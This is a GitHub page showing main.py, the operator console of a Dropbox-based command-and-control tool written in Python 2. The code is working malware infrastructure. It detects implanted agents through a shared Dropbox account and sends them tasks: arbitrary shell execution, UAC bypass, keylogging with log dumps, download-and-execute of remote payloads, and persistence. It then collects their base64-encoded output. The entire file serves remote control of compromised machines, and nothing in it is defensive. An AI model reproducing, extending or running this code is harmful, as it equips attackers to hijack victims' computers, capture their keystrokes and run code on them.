-
Notifications
You must be signed in to change notification settings - Fork 56
/
Copy pathmain.py
273 lines (214 loc) · 6.91 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
import os
import dropbox
import time
import threading
import cmd
import json
import base64
apiKey = "CHANGE API KEY"
banner = """
$$$$$$$\ $$\ $$$$$$\ $$$$$$\ $$$$$$\
$$ __$$\ $$ | $$ __$$\ $$ __$$\ $$ __$$\
$$ | $$ | $$$$$$\ $$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$\ $$\ $$\ $$ / \__|\__/ $$ |$$ / \__|
$$ | $$ |$$ __$$\ $$ __$$\ $$ __$$\ $$ __$$\ $$ __$$\ \$$\ $$ |$$$$$$\ $$ | $$$$$$ |$$ |
$$ | $$ |$$ | \__|$$ / $$ |$$ / $$ |$$ | $$ |$$ / $$ | \$$$$ / \______|$$ | $$ ____/ $$ |
$$ | $$ |$$ | $$ | $$ |$$ | $$ |$$ | $$ |$$ | $$ | $$ $$< $$ | $$\ $$ | $$ | $$\
$$$$$$$ |$$ | \$$$$$$ |$$$$$$$ |$$$$$$$ |\$$$$$$ |$$ /\$$\ \$$$$$$ |$$$$$$$$\ \$$$$$$ |
\_______/ \__| \______/ $$ ____/ \_______/ \______/ \__/ \__| \______/ \________| \______/
$$ |
$$ |
\__|
"""
# Create a dropbox object
dbx = dropbox.Dropbox(apiKey)
offlineAgents = []
activeAgents = []
completedTasks = {}
interactedAgent = ""
taskLock = False
# This is the agent Checker
def isInsideTimeline(agent):
try:
md, res = dbx.files_download('/%s/lasttime' % agent)
agenttime = float(res.content.strip())
servertime = float(time.time())
if(servertime-60)<=agenttime:
return True
else:
return False
except dropbox.exceptions.HttpError as err:
print('[-] HTTP error ', err)
return False
class TaskChecker(object):
def __init__(self, interval=5):
self.interval = interval
thread = threading.Thread(target=self.run, args=())
thread.daemon = True
thread.start()
def run(self):
while True:
checkCompletedTasks()
time.sleep(self.interval)
def dropboxFileExists(path,file):
for fileName in dbx.files_list_folder(path).entries:
if fileName.name == file:
return True
return False
def checkCompletedTasks():
for agent in activeAgents:
path = '/%s/output' % agent
try:
if(dropboxFileExists('/%s/' % agent ,'output')):
_, res = dbx.files_download(path)
if(res.content != ""):
outputData = json.loads(res.content.replace('\n',''))
else:
outputData = {}
for data in outputData:
if(data not in completedTasks[agent]):
completedTasks[agent].append(data)
print "\n==== Agent " + agent + " Task: " + data + " ==== "
print base64.b64decode(outputData[data]["OUTPUT"])
taskUpdater(agent)
except Exception, err:
print "[-] Error Receiving Completed Tasks [-]"
print err
pass
def taskUpdater(agent):
tasks = {}
path = '/%s/tasks' % agent
mode = (dropbox.files.WriteMode.overwrite)
try:
_, res = dbx.files_download(path)
if(res.content != ""):
tasks = json.loads(res.content.replace('\n',''))
else:
tasks = {}
for completedTask in completedTasks[agent]:
tasks[completedTask]["STATUS"] = "Completed"
dbx.files_upload(json.dumps(tasks),path,mode)
except Exception, err:
print "[-] Error Updating Tasks [-]"
print err
pass
def sendTask(agent,command):
tasks = {}
path = '/%s/tasks' % agent
mode = (dropbox.files.WriteMode.add)
defaultStatus = "Waiting"
for file in dbx.files_list_folder('/%s/' % agent).entries:
if(file.name == 'tasks'):
mode = (dropbox.files.WriteMode.overwrite)
_, res = dbx.files_download(path)
if(res.content != ""):
tasks = json.loads(res.content.replace('\n',''))
else:
tasks = {}
break
numberOfTasks = 0
for task in tasks:
numberOfTasks += 1
tasks[numberOfTasks+1] = {"STATUS":defaultStatus,"COMMAND":command}
try:
dbx.files_upload(json.dumps(tasks),path,mode)
except Exception:
print "[-] Error Sending Task [-]"
pass
class AgentChecker(object):
def __init__(self, interval=10):
self.interval = interval
thread = threading.Thread(target=self.run, args=())
thread.daemon = True
thread.start()
def run(self):
# This will list all the folders which are created by the agents.
global activeAgents
while True:
try:
for agent in dbx.files_list_folder('').entries:
agent = agent.name
if(agent not in activeAgents and isInsideTimeline(agent)):
activeAgents.append(agent)
print "[+] Agent " + agent + " is online [+]"
completedTasks[agent] = [] # NEW CODEEEE
elif(agent in activeAgents and not isInsideTimeline(agent)):
activeAgents.remove(agent)
del completedTasks[agent] # NEW CODEEEEE
print "\n[+] Agent " + agent + " is offline [+]"
time.sleep(self.interval)
except Exception:
print "[-] HTTP Error [-]"
time.sleep(30)
pass
def listAgents():
print "\n[+] Listing Agents [+]"
if(len(activeAgents) > 0):
for agent in activeAgents:
print agent
else:
print "[-] No online agents found. [-]"
print "\n"
def changeInteractedAgent(agent):
global interactedAgent
interactedAgent = agent
class Input(cmd.Cmd):
AGENTS = activeAgents
prompt = "C2C#> "
def do_agents(self,s):
listAgents()
def do_interact(self,agent):
self.AGENTS = activeAgents
if(agent in self.AGENTS):
print "[+] Interacting with : " + agent + " [+]"
changeInteractedAgent(agent)
agentInteraction = AgentCMD()
agentInteraction.prompt = self.prompt + "(" + agent + "): "
agentInteraction.cmdloop()
else:
print "[-] Agent not valid [-]"
def complete_interact(self, text, line, begidx, endidx):
if not text:
completions = self.AGENTS[:]
else:
completions = [ f
for f in self.AGENTS
if f.startswith(text)
]
return completions
def do_quit(self,s):
exit(0)
def emptyline(self):
pass
def getInteractedAgent():
global interactedAgent
return interactedAgent
class AgentCMD(cmd.Cmd):
# This is the Agent command line .
def do_sysinfo(self,s):
sendTask(interactedAgent,"{SHELL}systeminfo")
def do_bypassuac(self,s):
sendTask(interactedAgent,"bypassuac")
def do_keylog_start(self,s):
sendTask(interactedAgent,"keylog_start")
def do_keylog_stop(self,s):
sendTask(interactedAgent,"keylog_stop")
def do_keylog_dump(self,s):
sendTask(interactedAgent,"keylog_dump")
def do_exec(self,s):
sendTask(interactedAgent,"{SHELL}%s" % s)
def do_downloadexecute(self,s):
sendTask(interactedAgent,"{DOWNLOAD}%s" % s)
def do_persist(self,s):
sendTask(interactedAgent,"persist")
def do_back(self,s):
interactedAgent = ""
return True
def emptyline(self):
pass
def main():
print banner
agents = AgentChecker()
checker = TaskChecker()
commandInputs = Input().cmdloop()
if __name__ == "__main__":
main()